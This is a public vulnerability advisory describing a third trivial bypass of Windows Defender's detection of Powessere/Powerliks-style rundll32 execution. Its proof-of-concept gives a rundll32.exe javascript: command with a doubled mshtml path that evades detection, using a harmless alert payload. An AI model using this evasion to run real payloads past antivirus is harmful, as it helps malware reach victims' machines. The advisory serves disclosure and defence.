This is additional research regarding a mitigation bypass in Windows Defender. Back in 2022, the researcher disclosed how it could be easily bypassed by passing an extra path traversal when referencing mshtml but that issue has since been mitigated. However, the researcher discovered using multiple commas can also be used to achieve the bypass. This issue was addressed. The fix was short lived as the researcher has found yet another third trivial bypass.
[+] Credits: John Page (aka hyp3rlinx)
[+] Website: hyp3rlinx.altervista.org
[+] Source: https://hyp3rlinx.altervista.org/advisories/MICROSOFT_WINDOWS_DEFENDER_TROJAN.WIN32.POWESSERE.G_MITIGATION_BYPASS_PART_3.txt
[+] twitter.com/hyp3rlinx
[+] ISR: ApparitionSec
[Vendor]
www.microsoft.com
[Product]
Windows Defender
[Vulnerability Type]
Windows Defender Detection Mitigation Bypass
TrojanWin32Powessere.G
[CVE Reference]
N/A
[Security Issue]
Typically, Windows Defender detects and prevents TrojanWin32Powessere.G aka "POWERLIKS" type execution that leverages rundll32.exe. Attempts at execution fail
and attackers will typically get an "Access is denied" error message.
Back in 2022, I first disclosed how that could be easily bypassed by passing an extra path traversal when referencing mshtml but since has been mitigated.
Recently Feb 7, 2024, I disclosed using multi-commas "," will bypass that mitigation but has since been fixed again.
The fix was short lived as I find yet another third trivial bypass soon after.
[Exploit/POC]
Open command prompt as Administrator.
C:sec>rundll32.exe javascript:"....mshtml,,RunHTMLApplication ";alert(13)
Access is denied.
C:sec>rundll32.exe javascript:"....mshtml....mshtml,RunHTMLApplication ";alert('HYP3RLINX')
[Video PoC URL]
https://www.youtube.com/watch?v=yn9gdJ7c7Kg
[Network Access]
Local
[Severity]
High
[References]
https://hyp3rlinx.altervista.org/advisories/MICROSOFT_WINDOWS_DEFENDER_DETECTION_BYPASS.txt
https://hyp3rlinx.altervista.org/advisories/MICROSOFT_WINDOWS_DEFENDER_TROJAN.WIN32.POWESSERE.G_MITIGATION_BYPASS_PART2.txt
https://twitter.com/hyp3rlinx/status/1755417914599956833
https://twitter.com/hyp3rlinx/status/1758624140213264601
[Disclosure Timeline]
Vendor Notification:
February 16, 2024 : Public Disclosure
[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).
hyp3rlinx
